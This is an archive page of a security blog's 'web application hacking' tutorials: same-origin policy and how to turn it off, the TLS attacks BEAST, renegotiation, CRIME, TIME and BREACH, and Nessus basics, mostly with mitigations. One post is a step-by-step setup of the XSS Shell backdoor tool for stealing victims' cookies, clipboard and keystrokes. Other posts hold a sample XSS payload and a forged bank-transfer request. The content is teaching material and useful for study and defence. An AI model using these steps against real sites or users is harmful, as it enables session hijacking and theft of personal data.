RSS

Category Archives: web application hacking

A brief overview of same-origin policy

Can My JavaScript Access Your Page Elements?

We all know that using JavaScript you can do many things for example read elements on a page, analyze the DOM etc. Now assume that you logged into facebook.com and in another browser tab visited mysite.com. The question is can a script present in mysite.com access the elements on the page loaded by facebook.com? The answer is a big NO. Imagine the chaos it would have caused if the answer is yes! But the scripts loaded by facebook.com can happily access the page elements. So how does the browser decide which script can access which page? This is where Same Origin Policy comes in! SOP is one of the most important security concepts that govern how the modern web browsers work. This article explores about SOP, SOP rules and some techniques to bypass SOP.

Same-Origin Policy

Same-Origin Policy permits scripts running on pages originating from the ‘same site’ or ‘same origin’ to access each other’s DOM with no specific restrictions, but prevents access to DOM on different sites. So the how does browser identify whether the script and the page are from ‘same origin’ or not? The origin is calculated based on the combination of scheme, host and port. For example the scheme, host and port for https://www.facebook.com:8080/ are calculated as below:

Scheme: https || Host: facebook || Port: 8080

Browsers consider two resources to be of the same origin if and only if all these values are exactly the same. For example https://www.facebook.com:8080/ and https://www.carrers.facebook.com:8080/ are not same origin because the host is different.

Note: IE browser has 2 exceptions while checking for same origin

  1. IE doesn’t include port while calculating ‘origin’
  2. Same origin policy is not applied for sites which are under highly trusted zone.

Also note that SOP is not just limited to JavaScript. It also applies for XMLHttpRequest, Cookies, and Flash etc. We will see more about the same in the below sections.

Exceptions to SOP and their risks

SOP poses significant problems to large website which use multiple domains (due to the difference in the hostname).  Hence there are some exceptions which can be used to relax it.

Scripts that set domain to the same value:

You can use JavaScript to set the value of document.domain property. If two pages contain scripts which set domain to the same value, the SOP is relaxed for these two windows, and each window can interact with the other. For example, consider the earlier scenario where a script present on https://www.carrers.facebook.com/ cannot access the DOM of a page loaded by https://www.facebook.com/. Now if this script (present on https://www.carrers.facebook.com/) sets its document.domain to www.facebook.com then the script can happily access the DOM. Also note that a script cannot set the value of document.domain to any hostname. It can set the value only to a suffix of the current domain.

Risk: This is relatively safe because we are only talking about sub domains of a site. So scope for someone exploiting this is relatively low unless the sub domain is compromised.

CORS [Cross Origin Resource Sharing]:

CORS is a HTML5 feature that allows one site to access another site’s resources even if both are of different domains. Hence with CORS, JavaScript on a webpage can initiate an AJAX request to another site. To allow this process, the server which implements CORS, adds a HTTP header named ‘Access-Control-Allow-Origin: www.xyz.com’ in the response. Now the xyz.com even though is not of same origin can access this server’s pages.

Risk: Developers often tend to use ‘*’ to get the things working. CORS, being relatively new concept, is often misunderstood. If a site sets Access-Control-Allow-Origin:* it means an attacker can initiate AJAX request to this site with his JavaScript and can access the resources.  Hence while security testing a HTML5 site which has CORS enabled, look for Access-Control-Allow-Origin header to check if it allows only the allowed sites.

CDM [Cross Document Messaging]:

CDM or Cross Document Messaging is also one of the features introduced in HTML 5. This feature allows documents to communicate with one another across different domains. For example, Document A present on www.abc.com can communicate with document X present on www.xyz.com (assume its present as an iframe) by issuing the below request from JavaScript:

var c = document.getElementsByTagName(‘iframe’)[0];
c.contentWindow.postMessage(‘Hiee’, ‘http://www.xyz.com/’);

Upon receiving this request, the script present on www.xyz.com can respond back using the event listener.

function receiver(event) {
     if (event.origin == 'http://www.abc.com') {
         if (event.data == 'Hiee') {
            event.source.postMessage('how are you?', event.origin);
                                    }
         else {
             alert(event.data);
               } } }

Risk: If the origin checking of the sender site is not done properly, there is a chance to run malicious code from other domains. It is also recommended to check the format of the incoming data to make sure that it is in the expected format.

JSONP:

Repeating the golden rule – You cannot make a cross domain Ajax request to update a current page. Here it is important to note that SOP does not restrict a site from loading JavaScript files from a different domain. With JSOP, by adding a <script> element to the page you can load JSON response from different domain. Because the code is loaded by the <script> tag, it can be normally executed. The below figure sums up everything!

jsonp

Risk: Suppose a page hosted on abc.com uses JSONP to access services provided by xyz.com then, the site abc.com has to completely trust xyz.com. From security perspective, excessive trust on other sites is never good. If xyz.com is malicious it can run malicious code on the page loaded by abc.com. Also a malicious page can request and obtain JSON data of another site by using the <script> tag and hence can be used to launch CSRF attacks.

Getting Around SOP

There are ways to turn off same origin policy in browsers. This can be exploited by attackers during targeted attacks on certain individuals. If an attacker can have physical access to the target system, he can turn off the SOP in that browser and can then launch his attack later on to steal certain information from the websites browsed by the user. Below are the options to turn off SOP in different browsers.

Internet Explorer:
-> Go to the Security tab. For the current zone click the ‘Custom level’ button.
-> In the next window, look for ‘Miscellaneous > Access data sources across domains’ and set it to “Disable”.

IE security settings

Mozilla:
-> Open the Mozilla browser and enter ‘about:config’
-> Search for security.fileuri.strict_origin_policy and change the value to false by double clicking it as shown below.

firefox security settings

Google Chrome:
-> Start the chrome by passing the below argument:
C:\Program Files\Chrome\Chrome.exe –disable-web-security

Safari:
-> Start the Safari by passing the below argument:
C:\Program Files\Safari\Safari.exe –disable-web-security

References
http://www.phocean.net/2013/10/13/csrf-with-jsonp.html

 

Posted by on April 30, 2014 in web application hacking

4 Comments

Tags: , ,

Advanced Exploitation using XSS-SHELL

Before getting into XSS Shell, let us recollect few basics of XSS (Cross Site Scripting). XSS is one of the most common vulnerability that exists in many of the web applications today. XSS is a technique through which an attacker tries to compromise the web application by executing a malicious script. The attacker does this by breaking the Same-Origin policy of the web application. Same–Origin policy defines that the script which is coming from the foreign site or the script that doesn’t belongs to the same domain (i.e document.domain) should not be processed by the application.

Once if an attacker finds XSS in a web application, he can perform different kinds of attacks.
– Stealing Credentials
– Stealing Session tokens
– Defacing the Website
– Causing DOS
– Installing Key loggers and many more….

Cross-Site-Scripting exists in three different forms:
– Reflected
– Stored
– DOM Based

Reflected XSS:
This kind of vulnerability exists in the application that uses dynamic pages to display the content to the user. Normally these applications take the message into a parameter and renders back to the users.

For Example, consider the URL: http://www.[sample].com/error.html?value=learn+hacking

This shows the message learn hacking in the response of the application. Which means the application is extracting the message from the URL, processing it and displaying it to the user. So the URL processes user supplied data and inserts it into the server’s response. If there is no proper sanitization then the application is vulnerable to Reflected XSS.

The URL can be crafted as: http://www.[sample].com/error.html?value=<script>alert(1)</script>

When you click on the above URL it executes the script and pops up an alert box.

Stored XSS:
This type of vulnerability exist in applications which takes input from the user, store it and later displays to other users. For example, consider Facebook application which allows commenting on any picture or status update and then displays to all other users. If the application doesn’t sanitize the input properly then an attacker can write a script in the comment area, so that the users who visits or views particular page or post will be effected.

So Stored XSS consists of two things to do. Initially the attacker enters the malicious script into the application. Secondly the user visits the crafted page and the script is executed in the back-end without the knowledge of the user.

DOM Based XSS:
DOM stands for Document Object Model. It is quite different from the other two attacks described earlier. In DOM Based XSS when the user click on the crafted URL, server response doesn’t consist of attacker’s script. Instead the browser executes the malicious script while processing the response. This is because the Document Object Model of the browser has a capability to determine the URL used to load the current page. Script issued by the application may extract the data from the URL and process it. Then it uploads the content of the page dynamically depending upon the script executed through the URL.

XSS Shell

XSS Shell is a powerful tool developed in ASP .NET which runs as a XSS backdoor between the attacker and the victim. With XSS, attacker has only one shot to execute any kind of attack on victim. Once the victim navigates from the malicious page the attacker’s interaction or the communication with the victim ends, whereas using XSS Shell help the attacker to open an interactive channel with the victim and communicate with him by sending its commands. Here, even if the victim navigates from the vulnerable/malicious page the attacker can continue his communication as the XSS Shell re-generates the page.

The interactive shell or the communication channel which was established by the attacker with the victim is called “XSS Tunnel”. XSS Tunnel is used for tunneling the HTTP Traffic between two machines opened by XSS. Technically it is developed using AJAX and that can send requests and receive responds and has an ability to talk cross-domain.

Attack Process:
1. Setup XSS Shell Server.
2. Configure XSS Tunnel to use XSS Shell Server.
3. Inject malicious script into a vulnerable Website.
4. Launch XSS Tunnel and wait for victim.
5. Configure the browser or tool to use XSS Tunnel.
6. When victim visits the vulnerable page, start using XSS Tunnel.

How XSS Shell works:

xss shell process 1

As shown in the figure, initially attacker establishes a connection with the XSS Shell and injects malicious script into the web Application using Stored or Reflected XSS. Once the victim clicks or visits the vulnerable application with the malicious script a request will be sent to the XSS Shell Server. On the basis of the request server establishes a channel to interact with the victim.

xss shell process 2

Once a channel has been created between the victim and XSS Shell Server, attacker can control the communication through XSS Shell Admin Interface. XSS Shell Admin Interface is nothing but a GUI environment which provides definite set of commands which the attacker can execute to perform certain actions.

On executing a command, necessary function or the script will be called at XSS Shell Server level and it is sent to the victim. The script will be processed and executed at victim browser and it sends corresponding results to the XSS Shell Server. XSS Shell Server stores the results in MS-Access database which is normally used by it to store the data. Attacker can extract the results from the database and look at it whenever he wants.

Some of the commands that XSS Interface provides are:
– Get Cookie
– Get Current Page
– Get Clipboard
– Get Key-logger data
– Crash browser

One more advantage of using XSS Shell is, it is an Open Source and quite easy to implement new commands.

Requirements:
– An IIS Server where you can host .asp files.
– Microsoft Access database (.mdb)
– A Website which is vulnerable to XSS
– A vulnerable site to perform attack

Setting up the environment:
– Download the XSSShell from: http://labs.portcullis.co.uk/download/xssshell-xsstunnell.zip
– Configure IIS to host the site
– Installation
– Configure XSS Shell

Configuring IIS:
In-order to configure IIS in windows 7 or above, follow the steps given below:

1. Click on Start Menu and goto Control Panel.
2. Click Programs and then click on Turn windows features on or off.
3. A new Windows Features dialog box will appear. Expand Internet Information Services.
4. Select default features that has to be installed with IIS.
5. You can expand the additional categories and install any additional features if required.
6. It is recommended to install additional features if you want to use IIS for evaluation purpose.

Now IIS has been configured in the machine and can be accessed using http://localhost/

IIS 7 default page

Installation:
XSS Shell uses ASP .NET and MS-Access database. So just make sure that you have installed .NET framework and MS-Access db on your machine.

Configuring XSS Shell Admin Interface:
– After downloading the XSSShell.zip file, extract the file and you can see two folders – XSSshell & XSSTunnel.
XSSshell is admin interface and you need to configure it in your machine. Copy XSSshell folder to your web server.

xss shell folder

– You can see a sub-folder named db in the XSSShell folder as shown in the above image. Copy that to a secure place because XSSshell stores complete data in that db, whatever it is either victim’s session cookies or any other attacked data that belongs to victim.
– After moving the db folder to a secure place, configure the path in db.asp file under XSSshell/admin folder. So that the interface can know where the db is and interact with it.

xssshell source 1

– Edit the path to the location such that it should point to the place where db folder is present in your machine.xssshell source 2– The above image, shows default password to access shell.mdb file. You can edit to whatever you want.
– Now you can access admin interface by using the localhost url or the domain name that you have given. Ex: http://localhost/xssshell (or) http://yourhostname.com/xssshell
– By default it uses port 80, but if you change the port number while configure the domain you need to access the site by embedding the port number.

Configuring XSS Shell:
– Open xssshell.asp from XSSshell folder.
– Configure the server path. i.e to the place where XSSshell folder is located.

xssshell source 3

– Above figure shows the configuration of server path in xssshell.asp file. Edit he parameter SERVER to the place to the location of XSSshell folder in your machine.
– Now access your admin interface from the browser, which would contain three sections.

xss shell admin interface

Commands:
As mentioned earlier XSSshell has pre-defined commands which make attacker’s life easy to perform any attack on the victim. Commands section contains all the commands supported by the shell. As it is a open source you can edit it and add your own functionalities there.

Victims:
Victims section shows the list of victims.

Logs:
Logs show the list of actions performed on the victims.

XSS Tunnel:

XSS Tunnel is just like a proxy tool which runs on attacker machine and captures traffic through xss channel on XSSshell server. In-order to do this XSS Tunnel should be able to understand where XSSshell server is running. We can configure the XSSshell information (i.e where it is running) in XSS Tunnel from Options tab. Enter the server address and password. Then just to make sure it is working fine click on Test Server. You get a success message if the configuration is proper.

xss tunnel - connection success

Once done with configuration, click on Start XSS Tunnel on the top of the window.  Then you can see all the actions performed by the victim from XSS Tunnel’s Dashboard. The below image shows all the pages visited by the victim and actions performed.

xss tunnel - traffic capture

Conclusion:

XSSshell is an interface or a tool which opens a gateway to the attacker through which he can perform various attacks on the victim without losing the connection once established.

References:

http://labs.portcullis.co.uk/tools/xss-shell/
http://www.slideshare.net/clubhack/xss-shell-by-vandan-joshi

 

Posted by on January 29, 2014 in web application hacking

1 Comment

Tags: , , ,

SSL Attacks

In the last few years, we have witnessed a wide range of attacks on the SSL/TLS mechanism. In this article, we will try to cover various attacks that were prominent in the field of cryptography. Transport layer security (TLS) ensures integrity of data transmitted between two parties (server and client) and also provides strong authentication for both parties. The attacks launched in the last few years have exploited various features in the TLS mechanism. We are going to discuss these attacks one by one.

Browser Exploit Against SSL/TLS Attack (BEAST)

This attack was revealed at the Ekoparty Security Conference in 2011. BEAST is based on a type of cryptographic attack called the “chosen plain text attack”. Before I jump into explaining the details of this attack, let us take a look at some of the basic concepts to be understood.

Background

There are two types of encryption schemes:
1. Symmetric key encryption: Encryption and decryption keys are the same.
2. Asymmetric key encryption: Encryption and decryption keys are not the same.

Symmetric-key encryption can use either stream ciphers or block ciphers. A stream cipher encrypts one bit at a time, while a block cipher encrypts plaintext in chunks. Let’s talk about block cipher. How is a message encrypted using block cipher? You don’t use the block cipher on the message directly but instead you first need to choose the “mode of operation” CBC (cipher block chaining) is one such mode used by the block ciphers.

In CBC mode, to make each message unique, an initialization vector (IV) is used in the first block. An IV is a random string that is XORed with the plaintext message prior to encryption. Each block of plaintext is XORed with the previous cipher text block before being encrypted. In other words, each cipher text block depends on all plaintext blocks processed up to that point as shown in the figure below. It’s important to note that here IV is not a secret; it only adds randomness to the output. IV is sent along with the message in clear text format. With this background information, let us know focus on how the BEAST attack is accomplished.

cbc mode

How Is the Attack Accomplished?

It was noticed that TLS 1.0, when dealing with multiple packets, allows the following packets to use an IV that is the last cipher text block of the previous packet. In other words, an attacker who can see the encrypted traffic can note the IV used for session cookie (Why? Because the cookie’s location is predictable). Simply put, an active attacker will be able to gather the IVs for each record just by sniffing the network. So if the attacker can “guess” a plaintext message, he can make a guess at the session cookie and see if the cipher text matches. [Note that, since this is a MITM attack, the attacker can mix his traffic with the victim traffic to see the results].

Practical Example

Now let us consider the message: JSESSIONID=Gxs36NepewqeMI763Hej31pkl.

This is a plaintext and will have to be XORed with the IV (which is cipher text of the previous block). The attacker has this IV value in his hands. Now if he can “predict” this plaintext value and XOR with IV, he can check whether it corresponds to the cipher text value. Understandably, it’s not easy to predict such a random value, but he can guess it a single character at a time. For example “JSESSIONID=G” can be guessed by trying different characters. Once the first character is recovered, he can shift the attack to the next character. This way he can guess one character at a time and accomplish the attack. This attack is not so straightforward and has some limitations:

  1. The attacker has to be in the same network and play a MITM attack.
  2. The attacker has to modify the traffic to see if the results match; as a result, multiple requests have to be sent in this process.
  3. The attacker can guess only one block at a time.

Solution

This is a vulnerability in block ciphers that use the CBC mode of operation. It was identified in TLS 1.0. However it was addressed in TLS 1.1 and TLS 1.2 by the use of “explicit IVs” for each block. Hence, TLS 1.1 and TLS 1.2 are not exposed to this attack. Some of the browsers have attempted to implement a solution to address the vulnerability while still remaining compatible with the SSL 3.0/TLS 1.0 protocol. Apple’s Safari, even though it has released a mitigation, has chosen to keep it disabled by default.

Google: Update to Chrome 16 or later.
Microsoft: Apply the patch MS12-006.
Mozilla: Update to Firefox 10 or later.

SSL Renegotiation Attack

A vulnerability was discovered in the SSL renegotiation procedure that allows an attacker to inject plaintext into the victim’s requests. For instance, it allows an attacker who can hijack an HTTPS connection to add their own requests to the conversation the client has with the web server. Note that the attacker cannot decrypt the client-server communication.

Background

SSL renegotiation is helpful when the routine SSL session is already established and the client authentication has to take place. For example, say you are browsing an online shopping site which uses SSL, i.e., HTTPS. Initially, you browse through the site anonymously, add items to the cart, etc. But when you decide to purchase you will be asked to log in to the site, so now the SSL connection needs to be adjusted to allow the authentication. Whatever information is gathered prior to this authentication (e.g., items added to the cart) has to be maintained even after the authentication. So the new SSL session that has to be established uses the already existing connection. Note that renegotiation can be requested either by the client or by the server at any time. For the client to request renegotiation the client sends a “Client Hello” message in the already-established encrypted channel and the server responds with a “Server Hello” and then the negotiation follows the normal handshake process. The server can initiate the renegotiation by sending the client a “Hello Request” message. When the client receives the request, the client sends the “Client Hello” message and the handshake process takes place. This explains the basic SSL renegotiation process.

How Is the Attack Accomplished?

Using the renegotiation attack, an attacker can inject commands into an HTTPS session, downgrade a HTTPS connection to a HTTP connection, inject custom responses, perform denial of service, etc. That explains to some extent how serious the problem is. It is easier to understand how the attack is accomplished through the following example.

Practical Example

The action corresponding to each of the numbers present in the below figure are explained in the order below:

SSL renegotiation attack

  1. Assume that a client wants to connect to a online banking site. He initiates the routine TLS handshake process
  2. The client blocks the request and holds the packets.
  3. The attacker initiates a new session and completes a full TLS handshake.
  4. The attacker sends a GET request (asking to send money to his account) to the bank application.
  5. Server asks for renegotiation.
  6. The TLS handshake initiated at step 1 and blocked by the attacker will now be forwarded to the server, which a new TLS handshake over the previously established encrypted TLS session 2. So the client now is authenticated and has a valid cookie.
  7. Due to this renegotiation, the server now assumes that the previously sent request in step 4 was actually sent by the client. Hence the request which goes to the server is as follows; it will be interpreted by the server as a legitimate request and then executed.

    GET /bank/sendmoney.asp?acct=attacker&amount=100000
    Ignore the rest: GET /ebanking
    Cookie: validcookie 

Solution

One way to fix the renegotiation vulnerability for SSLv3 is to completely disable renegotiation on the server side. As a permanent fix for the vulnerability, a renegotiation indication extension was proposed for TLS that will require the client and server to include and verify information about previous handshakes in any renegotiation handshakes.

Compression Ratio Info-leak Made Easy Attack (CRIME)

This is a side-channel attack on SSL/TLS that can be used to predict sensitive information, such as the session tokens, etc. This is done based on the compressed size of the requests. This attack is known to work against SSL compression and SPDY, which use deflate/gzip data compression techniques. SPDY is not widely used, but SSL compression is one technique which is very much in use.

Background 

Before we see the details of the actual attack, let me explain a few things about “compression.” Web pages are generally compressed before the responses are sent out (this is called HTTP compression), primarily to make efficient use of available bandwidth and to provide greater transmission speeds. With compressed data, we can send the same amount of data to the destination but using fewer bits. The browser usually tells the server (through “accept-encoding” header), what compression methods it supports and the server accordingly compresses the content and sends it across. If the browser does not support any compression, then the response is not compressed. The most commonly used compression algorithms are gzip and deflate.

Accept-Encoding: gzip, deflate

When the content arrives, it is uncompressed by the browser and processed. So, basically with SSL-enabled web sites, the content is first compressed, then encrypted and sent. But you can determine the length of this compressed content even when it’s wrapped by SSL.

How Is the Attack Accomplished?

A CRIME attack is based on observing how the compressed length changes for different input values. Initially the attacker observes the size of cipher text sent by the browser and then makes multiple requests to the target website to observe the compressed response sizes. The attack primarily works by taking leverage of the “compressed size” of the text when there are repetitive terms. The attack can be best understood by following the below example, which demonstrates how an attacker can exploit it in real time.

Practical Example

Consider the below POST request made by a valid user.

Request:
POST / HTTP /1.1
Host: testing.com
User -Agent: Mozilla /5.0 (Windows NT 6.1; WOW64; rv :14.0) Gecko /20100101 Firefox /14.0.1
Cookie: secretcookie =5db98j64wa23pq1cb4cb0031ln481nx1
Accept -Language: en -US ,en;

<—–body——–>

As mentioned earlier, this content is first compressed and then encrypted and sent. But note that the size of this encrypted piece can still be found out just by sniffing the network traffic. Now the attacker’s target is to get the value of “secretcookie.” The attacker now can make the victim click on a link and, using JavaScript, he can trigger the below request.

Request triggered by the attacker:

POST /secretcookie =0 HTTP /1.1
Host: testing.com
User -Agent: Mozilla /5.0 (Windows NT 6.1; WOW64; rv :14.0) Gecko /20100101 Firefox /14.0.1
Cookie: secretcookie =5db98j64wa23pq1cb4cb0031ln481nx1
Accept -Language: en -US ,en;

<—–body——–>

In the above request, “secretcookie =0″ is the attacker-controlled input. When repetitive terms are encountered during the compression, instead of displaying it a second time the compressor says “This text is found 67 characters ago.” So this reduces the overall size of the compressed output. In the above request, since the word “secretcookie” is repeated, the compression is done accordingly by taking note of it. Now the attacker sends the below POST requests and observes the compressed sizes.

POST /secretcookie =0….
POST /secretcookie =1…
POST /secretcookie =2…
POST /secretcookie =3…
POST /secretcookie =4…
POST /secretcookie =5…

Now can you guess which POST request would be best compressed, i.e., which POST request would have the smallest compressed size? The one with “secretcookie =5″ would compress the best. This is because it has more repetitive characters. In other words, “secretcookie =5″ is repeated twice and hence the compressed size is less. Thus the attacker can confirm that 5 is the first character of the secretcookie. Going ahead with this logic, he can brute-force the other characters as well and extract the entire cookie value.

Solution

CRIME can be remediated by preventing the use of compression at the server end. It can also be prevented at the client end by disabling the compression of HTTPS requests. This is because, in TLS 1.2, the client sends the server a list of compression algorithms that are supported by it and the server picks one of them. If the client sends no compression algorithm, then the data cannot be compressed.

Timing Info-leak Made Easy Attack

In spite of being a very interesting attack, CRIME majorly suffers from two drawbacks:

  1. The attacker must be the man in the middle (to be able to read the messages) and he must also control the plaintext (which is sent as input to the application).
  2. CRIME was very soon mitigated by disabling the TLS compression.

The TIME attack overcomes both of these problems. So this attack doesn’t need an attacker to sniff the network. Instead of focusing on the HTTP request, it focuses on the HTTPS responses. To explain this attack in simple terms, all an attacker needs to do is redirect a user to a malicious website that will run some JavaScript to get the encrypted secret data.

Background

The basic concept here is that, in order to find out if there is difference in the length of two messages, we can observer the time it takes to send these messages across the network. The larger the difference, the more time it’s going to take.

How Is the Attack Accomplished?

The basic goal of the attacker is to force the length of compressed data to overflow into an additional TCP packet. The attacker then pads the remaining data. When the maximum size is crossed, any additional packet created (due to wrong guess), introduces an additional full round trip with a significant delay. Consider a simple user input (say “secret = data”). Assume that the value is reflected in the response along with the “secret.” In other words, whatever the user inputs is reflected in the response. Let us say in the first request, the user sends “secret = anything” and receives a response with a size of 1024 bytes. If the user input is “secret=a” in the second request, the response size will be less and hence it will take less time to reach than the first request. Likewise, it is possible to predict the every character in every position of our payload by observing the response times (to be precise by observing the “shortest response times”). This attack is little difficult to comprehend and so I have mentioned a video link here which could give you a better insight for the folks who are interested.

Black hat video link: http://www.youtube.com/watch?v=rTIpFfTp3-w&noredirect=1

Solution

Including CSRF, CAPTCHA tokens in the request could avoid the multiple requests that an attacker makes using the JavaScript. Adding random timing delays to the decryption for any timing attack can be reasonable to disrupt this attack, but it may not be completely helpful. The application should take care of the reflection of user input in the response.

 

Posted by on December 31, 2013 in web application hacking

1 Comment

Tags: , , ,

BREACH Attack Explained

Back in 2012, when Juliano Rizzo and Thai Duong announced the CRIME attack, TLS / SSL Compression attack against HTTPS, the ability to recover selected parts of the traffic through side channel attacks has been proved. This attack was mitigated by disabling the TLS / SSL level compression by most of the browsers. This year at Black Hat, a new attack called BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) was announced which commanded the attention of entire industry. This presentation which came up with the title “SSL Gone in 30 seconds” is something that is not properly understood and hence there seems to be some confusion about how to mitigate this. So I felt this article would give some detailed insight into how notorious the attack is, how it works, how practical it is and what needs to be done to mitigate it. So let’s proceed and have a look at the same.

BREACH Attack:

Unlike the previously known attacks such as BEAST, LUCKY etc, BREACH is not an attack against TLS. BREACH is basically an attack against the HTTP. If you are familiar with the famous Oracle Padding attack, BREACH is somewhat easy to understand. A BREACH attack can extract login tokens, email addresses or other sensitive information from TLS encrypted web traffic in as little as 30 seconds (depending on the number of bytes to be extracted). The attacker just needs to trick the victim to visit a malicious link for executing the attack. Before going into the details, let me explain a little bit more about the basic things to know. Web pages are generally compressed before the responses are sent out, which is called HTTP Compression, primarily to make better use of available bandwidth and to provide greater transmission speeds. Browser usually tells the server (through ‘Accept-Encoding’ header), what compression methods it supports and server accordingly compresses the content and sends it across. If the browser does not support any compression then the response is not compressed. The most commonly used compression algorithms are gzip and deflate.

Accept-Encoding: gzip, deflate

When the content arrives, it is uncompressed by the browser and processed. So basically with SSL enabled web sites, the content is first compressed, then encrypted and sent. But you can determine the length of this compressed content even when it’s wrapped by SSL.

How it works?

The attack primarily works by taking leverage of the ‘compressed size’ of the text when there are repetitive terms. So here is a small example which explains how deflate takes advantage of repetitive terms to reduce the compressed size of the response.

1. Consider the below search page which is present after logging into this site:

http://www.ghadiwala.com/catalogsearch/result/?q=

Breach example - search page

2. Observe that the text highlighted in red box is the username. Now enter any text (say ‘random’) and click search.

URL: http://www.ghadiwala.com/catalogsearch/result/?q=random

Breach example - search page2

3. So you can control the response through the input parameter in the URL. Now imagine what if the search term is ‘Pentesting’ (which is the username in this case).

URL:  http://www.ghadiwala.com/catalogsearch/result/?q=Pentesting

Breach example - search page3

Now when deflate algorithm is compressing the above response, it finds that the term ‘Pentesting’ is repeated more than once in the response. So instead of displaying it second time the compressor says ‘this text is found 101 characters ago’. So this reduces the size of the compressed output. In other words, by controlling the input search parameter you can guess the username. How? The compressed size would be least when the search parameter matches the username. This concept is the base for the BREACH attack.

Practical Attack:

Now let us see how an attacker would practically exploit this issue and steal any sensitive information. Consider the below site and assume a legitimate user has just signed in.

Breach Sample search page

[Before signing in to the application]

Breach Sample search after login

[Search page which is accessible after logging in]

As shown in the above figure, also assume that there is some sensitive data which is present in the Search page for example let card number be one such sensitive data in the application. When the user searches for something (say ‘test’) below is the message displayed.

Breach Sample search page2

Now an attacker, using all the social engineering techniques, could lure this currently signed in user to click on a link. The link would be simple html page that has a JavaScript in it which will request searches continuously for search terms ‘100-1000’. For example the JavaScript would request the below URL’s.

http://localhost/demo/Search?p=100

http://localhost/demo/Search?p=101

………

http://localhost/demo/Search?p=10000

Now the attacker can also get the corresponding compressed sizes of the responses for each of these requests. Can you guess why the compresses sizes for each of these responses would differ and can you guess which request would have the smallest compressed size? Below would be the request with the smallest compressed sizes.

http://localhost/demo/Search?p=4545

http://localhost/demo/Search?p=5454

http://localhost/demo/Search?p=4543

http://localhost/demo/Search?p=5433

Below is the explanation as to why the above requests have least compressed sizes. Now take the first request. Below would be the response from the server.

 URL: http://localhost/demo/Search?p=4545

Breach Sample search page3

As shown above, when the deflate algorithm encounters this, it makes an easy representation of the repetitions and thus results in a least compressed size. So by analyzing the compressed size for each of the requests from 100-10000, an attacker can simply deduce what the card number is in this case. This the beauty of this attack lies in the fact that we did not decrypt any traffic but just by analyzing the size of the responses we were able to predict the text.

To summarize in simple steps, for an application to be vulnerable to this breach attack, below are the conditions that it must fulfill:

1. The server should be using HTTP level compression.
2. A parameter which reflects the input text. (This will be controlled by the attacker).
3. The page should contain some sensitive text which would be of interest to the attacker.

Remediation:

Turning off the HTTP Compression would save the day but that cannot be a possible solution since all the servers rely on it to effectively manage the bandwidth. Here are some of the other solutions that can be tried:

  1. Protect the vulnerable pages with a CSRF token
  2. Adding random bytes to the response so as to hide the actual compressed length.
  3. Separating the sensitive data from pages where input text is displayed.

 

 

Posted by on November 30, 2013 in web application hacking

Comments Off on BREACH Attack Explained

Tags: , ,

NESSUS Vulnerability Scanner – Basics

If you are looking for a vulnerability scanner, you might have came across several expensive commercial products and tools, with wide range of features and benefits. If a full featured free vulnerability scanner is on your mind, then it’s time to know about Nessus. The article covers installation, configuring and select policies, starting a scan, analyzing the reports using NESSUS Vulnerability Scanner.

Nessus was founded by Renuad Deraison in the year 1998 to provide to the Internet community a free remote security scanner. It is one of the full fledged vulnerability scanners which allow you to detect potential vulnerabilities in the systems. Nessus is the world’s most popular vulnerability scanning tool and supported by most of the research teams around the world.

The tool is free of cost and non-commercial for non-enterprises.  Nessus uses web interface to set up, scan and view repots. It has one of the largest vulnerability knowledge bases and because of this KB the tool is very popular.

Nessus supports wide range of operating systems that include Windows XP/7, Linux, Mac OS X, Sun Solaris, etc.

Key Features:

  • Identifies Vulnerabilities that allow a remote attacker to access sensitive information from the system.
  • Checks whether the systems in the network has the latest software patches.
  • Tries with Default passwords, common passwords, on systems account
  • Configuration audits.
  • Vulnerability analysis.
  • Mobile Device audits.
  • Customized reporting.

Installation & Configuration:

  1. You can download the Nessus home feed (free) or professional feed from Nessus website.
  2. Once you download the Nessus home tool, you need to register for generating an activation key.  The activation key will be sent to your email id. 
  3. Install the tool (Installation of nessus tool will be quite confusing and the installation guide comes handy).
  4. Open the Nessus in the browser, normally it runs on the port 8834 –
    http://localhost:8834/WelcomeToNessus-Install/welcome and follow the screen.
  5. Create an account with Nessus. 
  6. Enter the activation code you have obtained by registering with the Nessus website. Also you can configure the proxy if needed by giving proxy hostname, proxy username and password.
  7. Then scanner gets registered and creates the user account.
  8. Then downloads the necessary plugins (It takes some time for downloading the plugins). 
  9. Once the plug-ins are downloaded then it will automatically redirects you to a login screen. Provide the Username and password that you have created earlier to login.
     

Running the Tool:

Nessus gives you lots of choices when it comes to running the actual vulnerability scan. You’ll be able to scan individual computers, ranges of IP addresses or complete subnets. There are over 1200 vulnerability plugins with Nessus using which you’ll be able to specify individual or set of vulnerabilities to test for. In contrast to other tools Nessus won’t assume for explicit services running on common ports instead it will try to exploit the vulnerabilities.

One of the foundations for discovering the vulnerabilities in the network are:

  • Knowing which systems exist
  • Knowing which ports are open and which listening services are available in those ports
  • Determining which Operating System is running in the remote machine

Once you log into the Nessus using web-interface, you will be able to see different options like,

  • Policies –Using which you can configure the options required for scan
  • Scans -for adding different scans
  • Reports -for analyzing the results
     

Basic workflow of Nessus tool is to Login, Create or Configure the Policy, Run the Scan and Analyze the Results.

POLICIES:

Policies are nothing but the vulnerability tests that you can perform on the target machine. By default Nessus has 4 policies.

Nessus policies

Above figure shows the default polices that comes with Nessus tool.

External Network Scan:

The policy is pre-configured in such a way that Nessus scans externally facing hosts, which provides services to the host. It scans all 65,535 ports of the target machine. It is also configured with Plugins required for web application vulnerabilities tests like XSS.

Internal Network Scan:

This policy is configured to scan large internal networks with many hosts, services, embedded systems like printers, etc… This policy scans only standard ports instead of scanning all 65,535 ports.

Web App Tests:

Nessus uses this policy to detect different types of vulnerabilities exist in the web applications. It has the capability to spider the entire web site and discovers the content and links in the application. Once the spider process has been completed then Nessus starts to discover the vulnerabilities that exist in the application.

Prepare for PCI DSS audits:

This policy consists of PCI DSS (Payment Card Industry Data Security Standards) enabled. Nessus compares the results with the standards and produces a report for the scan. The scan doesn’t guarantee for a secure infrastructure.  Industries or Organizations preparing for PCI-DSS can use this policy to prepare their network and systems.

Apart from these pre-configured policies you can also upload a policy by clicking on “Upload” or configure your own policy as per your scan requirement by clicking on “New Policy”.

Configuring the Policy:

  • Click on the policies tab on the top of the screen
  • Click on the New Policy button to create a new policy

Under the General settings tab select the “setting type” based on scan requirement, like Port Scanning, Performance scanning etc… Based on the type Nessus prompts different options that has to be filled. For example ‘Port Scanning’ has the following options

Nessus Port scanning options

Above figure shows configuring options of Port Scanning.

